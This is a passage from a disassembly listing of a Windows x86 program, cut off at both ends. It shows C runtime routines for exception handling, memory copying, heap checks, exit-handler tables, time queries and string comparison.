ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi mov [ebp+var_28], 0 mov [ebp+var_24], offset sub_41D2F0 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov ecx, [ebp+arg_4] mov [ebp+var_1C], ecx mov edx, [ebp+arg_14] mov [ebp+var_18], edx mov eax, [ebp+arg_18] mov [ebp+var_14], eax mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov [ebp+var_8], 0 mov [ebp+var_4], 0 mov [ebp+var_10], offset loc_41D2BC mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov ecx, [ebp+arg_0] mov [ebp+var_30], ecx mov edx, [ebp+arg_8] mov [ebp+var_2C], edx lea eax, [ebp+var_30] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_423CF0 call dword ptr [eax+68h] add esp, 8 mov [ebp+var_34], 0 loc_41D2BC: ; DATA XREF: sub_41D220+4Bo cmp [ebp+var_4], 0 jz short loc_41D2D9 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41D2E2 ; --------------------------------------------------------------------------- loc_41D2D9: ; CODE XREF: sub_41D220+A0j mov eax, [ebp+var_28] mov large fs:0, eax loc_41D2E2: ; CODE XREF: sub_41D220+B7j mov eax, [ebp+var_34] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D220 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2F0 proc near ; DATA XREF: sub_41D220+10o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov ecx, [eax+4] and ecx, 66h test ecx, ecx jz short loc_41D315 mov edx, [ebp+arg_4] mov dword ptr [edx+24h], 1 mov eax, 1 jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D315: ; CODE XREF: sub_41D2F0+12j push 1 mov eax, [ebp+arg_4] mov ecx, [eax+14h] push ecx mov edx, [ebp+arg_4] mov eax, [edx+10h] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+8] push edx push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+0Ch] push edx mov eax, [ebp+arg_0] push eax call sub_4279C0 add esp, 20h mov ecx, [ebp+arg_4] cmp dword ptr [ecx+24h], 0 jnz short loc_41D35B mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_4] push eax call sub_41D0A0 loc_41D35B: ; CODE XREF: sub_41D2F0+5Cj mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- mov eax, 1 loc_41D36C: ; CODE XREF: sub_41D2F0+23j pop edi pop esi pop ebx pop ebp retn sub_41D2F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D380 proc near ; CODE XREF: sub_427AB0+135p ; sub_427D50+52p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, [eax+10h] mov esi, [eax+0Ch] mov [ebp+var_4], ecx mov ecx, [ebp+arg_4] test ecx, ecx mov edi, esi mov ebx, esi jl short loc_41D3D9 loc_41D39E: ; CODE XREF: sub_41D380+54j cmp esi, 0FFFFFFFFh jnz short loc_41D3A8 call sub_428720 loc_41D3A8: ; CODE XREF: sub_41D380+21j mov eax, [ebp+var_4] dec esi mov ecx, [ebp+arg_8] lea edx, [esi+esi*4] lea eax, [eax+edx*4] cmp [eax+4], ecx jge short loc_41D3BF cmp ecx, [eax+8] jle short loc_41D3C4 loc_41D3BF: ; CODE XREF: sub_41D380+38j cmp esi, 0FFFFFFFFh jnz short loc_41D3CF loc_41D3C4: ; CODE XREF: sub_41D380+3Dj mov eax, [ebp+arg_4] mov edi, ebx dec eax mov ebx, esi mov [ebp+arg_4], eax loc_41D3CF: ; CODE XREF: sub_41D380+42j mov eax, [ebp+arg_4] test eax, eax jge short loc_41D39E mov eax, [ebp+arg_0] loc_41D3D9: ; CODE XREF: sub_41D380+1Cj mov ecx, [ebp+arg_C] mov edx, [ebp+arg_10] inc esi mov [ecx], esi mov [edx], edi cmp edi, [eax+0Ch] ja short loc_41D3ED cmp esi, edi jbe short loc_41D3F2 loc_41D3ED: ; CODE XREF: sub_41D380+67j call sub_428720 loc_41D3F2: ; CODE XREF: sub_41D380+6Bj mov ecx, [ebp+var_4] lea eax, [esi+esi*4] pop edi pop esi lea eax, [ecx+eax*4] pop ebx mov esp, ebp pop ebp retn sub_41D380 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D410 proc near ; CODE XREF: sub_42A9E4+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_41D428 push [ebp+arg_0] call sub_435A6C ; RtlUnwind loc_41D428: ; DATA XREF: sub_41D410+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D410 endp ; =============== S U B R O U T I N E ======================================= sub_41D430 proc near ; DATA XREF: sub_41D452+Ao ; sub_41D4BA+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41D451 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41D451: ; CODE XREF: sub_41D430+10j retn sub_41D430 endp ; =============== S U B R O U T I N E ======================================= sub_41D452 proc near ; CODE XREF: sub_428120+C2p ; sub_42A9E4+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41D430 push large dword ptr fs:0 mov large fs:0, esp loc_41D46F: ; CODE XREF: sub_41D452:loc_41D4AAj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41D4AC cmp esi, [esp+1Ch+arg_4] jz short loc_41D4AC lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41D4AA push 101h mov eax, [ebx+esi*4+8] call sub_41D4E6 call dword ptr [ebx+esi*4+8] loc_41D4AA: ; CODE XREF: sub_41D452+44j jmp short loc_41D46F ; --------------------------------------------------------------------------- loc_41D4AC: ; CODE XREF: sub_41D452+2Aj ; sub_41D452+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41D452 endp ; =============== S U B R O U T I N E ======================================= sub_41D4BA proc near ; CODE XREF: sub_4281FD+4Bp xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41D430 jnz short locret_41D4DC mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41D4DC mov eax, 1 locret_41D4DC: ; CODE XREF: sub_41D4BA+10j ; sub_41D4BA+1Bj retn sub_41D4BA endp ; =============== S U B R O U T I N E ======================================= sub_41D4DD proc near ; CODE XREF: sub_428620+1Ep ; sub_428620+40p push ebx push ecx mov ebx, offset dword_45110C jmp short loc_41D4F0 sub_41D4DD endp ; =============== S U B R O U T I N E ======================================= sub_41D4E6 proc near ; CODE XREF: sub_41D452+4Fp ; sub_42A9E4+78p push ebx push ecx mov ebx, offset dword_45110C mov ecx, [ebp+8] loc_41D4F0: ; CODE XREF: sub_41D4DD+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41D4E6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_40C972+5p ; sub_40CAE9+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41D500 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D520 proc near ; CODE XREF: sub_40D1EF+Cp ; sub_420300+581p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41D540 cmp edi, eax jb loc_41D6B8 loc_41D540: ; CODE XREF: sub_41D520+16j test edi, 3 jnz short loc_41D55C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D57C rep movsd jmp off_41D668[edx*4] ; --------------------------------------------------------------------------- loc_41D55C: ; CODE XREF: sub_41D520+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41D574 and eax, 3 add ecx, eax jmp dword ptr loc_41D57C+4[eax*4] ; --------------------------------------------------------------------------- loc_41D574: ; CODE XREF: sub_41D520+46j jmp dword ptr loc_41D678[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D57C: ; CODE XREF: sub_41D520+31j ; sub_41D520+8Ej ... jmp off_41D5FC[ecx*4] ; --------------------------------------------------------------------------- db 2 dup(90h) db 0D5h, 41h, 0 dd offset loc_41D5BC dd offset loc_41D5E0 ; --------------------------------------------------------------------------- and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41D57C rep movsd jmp off_41D668[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41D5BC: ; DATA XREF: sub_41D520+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41D57C rep movsd jmp off_41D668[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D5E0: ; DATA XREF: sub_41D520+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41D57C rep movsd jmp off_41D668[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D5FC dd offset loc_41D65F ; DATA XREF: sub_41D520:loc_41D57Cr dd offset loc_41D64C dd offset loc_41D644 dd offset loc_41D63C dd offset loc_41D634 dd offset loc_41D62C dd offset loc_41D624 dd offset loc_41D61C ; --------------------------------------------------------------------------- loc_41D61C: ; CODE XREF: sub_41D520:loc_41D57Cj ; DATA XREF: sub_41D520+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41D624: ; CODE XREF: sub_41D520:loc_41D57Cj ; DATA XREF: sub_41D520+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41D62C: ; CODE XREF: sub_41D520:loc_41D57Cj ; DATA XREF: sub_41D520+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41D634: ; CODE XREF: sub_41D520:loc_41D57Cj ; DATA XREF: sub_41D520+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41D63C: ; CODE XREF: sub_41D520:loc_41D57Cj ; DATA XREF: sub_41D520+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41D644: ; CODE XREF: sub_41D520:loc_41D57Cj ; DATA XREF: sub_41D520+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41D64C: ; CODE XREF: sub_41D520:loc_41D57Cj ; DATA XREF: sub_41D520+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D65F: ; CODE XREF: sub_41D520:loc_41D57Cj ; DATA XREF: sub_41D520:off_41D5FCo jmp off_41D668[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D668 dd offset loc_41D678 ; DATA XREF: sub_41D520+35r ; sub_41D520+92r ... dd offset loc_41D680 dd offset loc_41D68C dd offset loc_41D6A0 ; --------------------------------------------------------------------------- loc_41D678: ; CODE XREF: sub_41D520+35j ; sub_41D520+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D680: ; CODE XREF: sub_41D520+35j ; sub_41D520+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D68C: ; CODE XREF: sub_41D520+35j ; sub_41D520+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D6A0: ; CODE XREF: sub_41D520+35j ; sub_41D520+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D6B8: ; CODE XREF: sub_41D520+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41D6EC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D6E0 std rep movsd cld jmp off_41D800[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D6E0: ; CODE XREF: sub_41D520+1B1j ; sub_41D520+208j ... neg ecx jmp off_41D7B0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D6EC: ; CODE XREF: sub_41D520+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41D704 and eax, 3 sub ecx, eax jmp dword ptr loc_41D704+4[eax*4] ; --------------------------------------------------------------------------- loc_41D704: ; CODE XREF: sub_41D520+1D6j ; DATA XREF: sub_41D520+1DDr jmp off_41D800[ecx*4] ; --------------------------------------------------------------------------- align 4 sbb bh, dl inc ecx add [eax], bh xlat inc ecx add [eax-29h], ah inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41D6E0 std rep movsd cld jmp off_41D800[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41D6E0 std rep movsd cld jmp off_41D800[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41D6E0 std rep movsd cld jmp off_41D800[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D7B4 dd offset loc_41D7BC dd offset loc_41D7C4 dd offset loc_41D7CC dd offset loc_41D7D4 dd offset loc_41D7DC dd offset loc_41D7E4 off_41D7B0 dd offset loc_41D7F7 ; DATA XREF: sub_41D520+1C2r ; --------------------------------------------------------------------------- loc_41D7B4: ; DATA XREF: sub_41D520+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41D7BC: ; DATA XREF: sub_41D520+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41D7C4: ; DATA XREF: sub_41D520+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41D7CC: ; DATA XREF: sub_41D520+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41D7D4: ; DATA XREF: sub_41D520+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41D7DC: ; DATA XREF: sub_41D520+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41D7E4: ; DATA XREF: sub_41D520+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D7F7: ; CODE XREF: sub_41D520+1C2j ; DATA XREF: sub_41D520:off_41D7B0o jmp off_41D800[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D800 dd offset loc_41D810 ; DATA XREF: sub_41D520+1B7r ; sub_41D520:loc_41D704r ... dd offset loc_41D818 dd offset loc_41D828 dd offset loc_41D83C ; --------------------------------------------------------------------------- loc_41D810: ; CODE XREF: sub_41D520+1B7j ; sub_41D520:loc_41D704j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D818: ; CODE XREF: sub_41D520+1B7j ; sub_41D520:loc_41D704j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D828: ; CODE XREF: sub_41D520+1B7j ; sub_41D520:loc_41D704j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D83C: ; CODE XREF: sub_41D520+1B7j ; sub_41D520:loc_41D704j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41D520 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D860 proc near ; CODE XREF: sub_40D2E7+4p ; sub_4354D0+1Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_41D872 jmp loc_41D8FA ; --------------------------------------------------------------------------- loc_41D872: ; CODE XREF: sub_41D860+Bj push 9 call sub_41FB40 add esp, 4 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+var_4], eax loc_41D885: ; CODE XREF: sub_41D860+7Bj mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jz short loc_41D8D7 mov eax, [ebp+var_4] cmp dword ptr [eax+14h], 1 jz short loc_41D8D7 mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 2 jz short loc_41D8D7 mov eax, [ebp+var_4] cmp dword ptr [eax+14h], 3 jz short loc_41D8D7 push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 2Fh push offset dword_437D00 push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41D8D7 int 3 ; Trap to Debugger loc_41D8D7: ; CODE XREF: sub_41D860+34j ; sub_41D860+3Dj ... xor ecx, ecx test ecx, ecx jnz short loc_41D885 mov edx, [ebp+var_4] mov eax, [edx+14h] push eax mov ecx, [ebp+arg_0] push ecx call sub_419980 add esp, 8 push 9 call sub_41FBE0 add esp, 4 loc_41D8FA: ; CODE XREF: sub_41D860+Dj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D860 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D910 proc near ; CODE XREF: sub_40D347+Bp ; .nsp0:0040DEDAp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 mov eax, [ebp+arg_0] push eax call sub_418F20 add esp, 8 pop ebp retn sub_41D910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D930 proc near ; CODE XREF: sub_41D9F0+7p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_41B6F0 push 2 mov eax, dword_4F0FB4 push eax call sub_419DC0 add esp, 8 mov ecx, dword_4F0FB0 sub ecx, dword_4F0FB4 add ecx, 4 cmp eax, ecx jnb short loc_41D9BD push 68h push offset dword_437D0C push 2 push 2 mov edx, dword_4F0FB4 push edx call sub_419DC0 add esp, 8 add eax, 10h push eax mov eax, dword_4F0FB4 push eax call sub_419380 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41D99A call sub_41B700 xor eax, eax jmp short loc_41D9DF ; --------------------------------------------------------------------------- loc_41D99A: ; CODE XREF: sub_41D930+5Fj mov ecx, dword_4F0FB0 sub ecx, dword_4F0FB4 sar ecx, 2 mov edx, [ebp+var_4] lea eax, [edx+ecx*4] mov dword_4F0FB0, eax mov ecx, [ebp+var_4] mov dword_4F0FB4, ecx loc_41D9BD: ; CODE XREF: sub_41D930+2Aj mov edx, dword_4F0FB0 mov eax, [ebp+arg_0] mov [edx], eax mov ecx, dword_4F0FB0 add ecx, 4 mov dword_4F0FB0, ecx call sub_41B700 mov eax, [ebp+arg_0] loc_41D9DF: ; CODE XREF: sub_41D930+68j mov esp, ebp pop ebp retn sub_41D930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D9F0 proc near ; CODE XREF: .nsp0:0040CD71p ; sub_4357B0+8p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_41D930 add esp, 4 neg eax sbb eax, eax neg eax dec eax pop ebp retn sub_41D9F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DA10 proc near ; DATA XREF: .nsp0:0043A020o push ebp mov ebp, esp push 0B6h push offset dword_437D0C push 2 push 80h call sub_418EF0 add esp, 10h mov dword_4F0FB4, eax cmp dword_4F0FB4, 0 jnz short loc_41DA44 push 18h call sub_41EB30 add esp, 4 loc_41DA44: ; CODE XREF: sub_41DA10+28j mov eax, dword_4F0FB4 mov dword ptr [eax], 0 mov ecx, dword_4F0FB4 mov dword_4F0FB0, ecx pop ebp retn sub_41DA10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DA60 proc near ; CODE XREF: sub_40D46C+1B3p var_D8 = dword ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_36 = dword ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_A = dword ptr -0Ah var_6 = dword ptr -6 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0D8h lea eax, [ebp+var_24] push eax call dword_4F13F0 ; GetLocalTime lea ecx, [ebp+var_10] push ecx call dword_4F144C ; GetSystemTime mov edx, [ebp+var_6] and edx, 0FFFFh xor eax, eax mov ax, word ptr dword_4EF8D8+2 cmp edx, eax jnz short loc_41DAF8 mov ecx, [ebp-8] and ecx, 0FFFFh xor edx, edx mov dx, word ptr dword_4EF8D8 cmp ecx, edx jnz short loc_41DAF8 mov eax, [ebp+var_A] and eax, 0FFFFh xor ecx, ecx mov cx, word_4EF8D6 cmp eax, ecx jnz short loc_41DAF8 mov edx, [ebp+var_10+2] and edx, 0FFFFh xor eax, eax mov ax, word ptr dword_4EF8D0+2 cmp edx, eax jnz short loc_41DAF8 mov ecx, [ebp+var_10] and ecx, 0FFFFh xor edx, edx mov dx, word ptr dword_4EF8D0 cmp ecx, edx jnz short loc_41DAF8 mov eax, dword_4EF8C8 mov [ebp+var_D8], eax jmp loc_41DB80 ; --------------------------------------------------------------------------- loc_41DAF8: ; CODE XREF: sub_41DA60+30j ; sub_41DA60+46j ... lea ecx, [ebp+var_D0] push ecx call dword_4F1448 ; GetTimeZoneInformation mov [ebp+var_D4], eax cmp [ebp+var_D4], 0FFFFFFFFh jz short loc_41DB48 cmp [ebp+var_D4], 2 jnz short loc_41DB3C mov edx, [ebp+var_36] and edx, 0FFFFh test edx, edx jz short loc_41DB3C cmp [ebp+var_28], 0 jz short loc_41DB3C mov [ebp+var_D8], 1 jmp short loc_41DB46 ; --------------------------------------------------------------------------- loc_41DB3C: ; CODE XREF: sub_41DA60+BBj ; sub_41DA60+C8j ... mov [ebp+var_D8], 0 loc_41DB46: ; CODE XREF: sub_41DA60+DAj jmp short loc_41DB52 ; --------------------------------------------------------------------------- loc_41DB48: ; CODE XREF: sub_41DA60+B2j mov [ebp+var_D8], 0FFFFFFFFh loc_41DB52: ; CODE XREF: sub_41DA60:loc_41DB46j mov eax, [ebp+var_D8] mov dword_4EF8C8, eax mov ecx, [ebp+var_10] mov dword_4EF8D0, ecx mov edx, [ebp-0Ch] mov dword ptr byte_4EF8D4, edx mov eax, [ebp+var_A+2] mov dword_4EF8D8, eax mov ecx, [ebp+var_6+2] mov dword_4EF8DC, ecx loc_41DB80: ; CODE XREF: sub_41DA60+93j mov edx, [ebp+var_D8] push edx mov eax, [ebp+var_18] and eax, 0FFFFh push eax mov ecx, [ebp-1Ah] and ecx, 0FFFFh push ecx mov edx, [ebp+var_1C] and edx, 0FFFFh push edx mov eax, [ebp-1Eh] and eax, 0FFFFh push eax mov ecx, [ebp+var_24+2] and ecx, 0FFFFh push ecx mov edx, [ebp+var_24] and edx, 0FFFFh push edx call sub_4287B0 add esp, 1Ch mov [ebp+var_14], eax cmp [ebp+arg_0], 0 jz short loc_41DBDA mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax], ecx loc_41DBDA: ; CODE XREF: sub_41DA60+170j mov eax, [ebp+var_14] mov esp, ebp pop ebp retn sub_41DA60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DBF0 proc near ; CODE XREF: sub_40D46C+18p ; sub_42FFA0+40p ... var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4EF96C cmp dword ptr [eax+8], 0 jnz short loc_41DC43 mov al, 0FFh mov edi, edi loc_41DC0C: ; CODE XREF: sub_41DBF0+28j ; sub_41DBF0+48j or al, al jz short loc_41DC3E mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41DC0C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41DC0C sbb al, al sbb al, 0FFh loc_41DC3E: ; CODE XREF: sub_41DBF0+1Ej movsx eax, al jmp short loc_41DCBB ; --------------------------------------------------------------------------- loc_41DC43: ; CODE XREF: sub_41DBF0+16j lock inc dword_4EFD48 cmp dword_4EFD44, 0 jg short loc_41DC57 push 0 jmp short loc_41DC6C ; --------------------------------------------------------------------------- loc_41DC57: ; CODE XREF: sub_41DBF0+61j lock dec dword_4EFD48 push 13h call sub_41FB40 mov [esp+10h+var_10], 1 loc_41DC6C: ; CODE XREF: sub_41DBF0+65j mov eax, 0FFh xor ebx, ebx nop loc_41DC74: ; CODE XREF: sub_41DBF0+90j ; sub_41DBF0+A8j or al, al jz short loc_41DC9F mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41DC74 push eax push ebx call sub_41E5F0 mov ebx, eax add esp, 4 call sub_41E5F0 add esp, 4 cmp bl, al jz short loc_41DC74 sbb eax, eax sbb eax, 0FFFFFFFFh loc_41DC9F: ; CODE XREF: sub_41DBF0+86j mov ebx, eax pop eax or eax, eax jnz short loc_41DCAF lock dec dword_4EFD48 jmp short loc_41DCB9 ; --------------------------------------------------------------------------- loc_41DCAF: ; CODE XREF: sub_41DBF0+B4j push 13h call sub_41FBE0 add esp, 4 loc_41DCB9: ; CODE XREF: sub_41DBF0+BDj mov eax, ebx loc_41DCBB: ; CODE XREF: sub_41DBF0+51j pop ebx pop esi pop edi leave retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DCC0 proc near ; CODE XREF: sub_4112A8+26Ep ; sub_4112A8+37Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_41DCC7: ; CODE XREF: sub_41DCC0+2Fj cmp [ebp+arg_0], 0 jnz short loc_41DCEB push offset dword_437504 push 0 push 65h push offset dword_437D18 push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41DCEB int 3 ; Trap to Debugger loc_41DCEB: ; CODE XREF: sub_41DCC0+Bj ; sub_41DCC0+28j xor eax, eax test eax, eax jnz short loc_41DCC7 mov ecx, [ebp+arg_0] push ecx call sub_41ECE0 add esp, 4 mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41DD30 add esp, 0Ch mov [ebp+var_4], eax mov edx, [ebp+arg_0] push edx call sub_41ED50 add esp, 4 mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41DCC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD30 proc near ; CODE XREF: 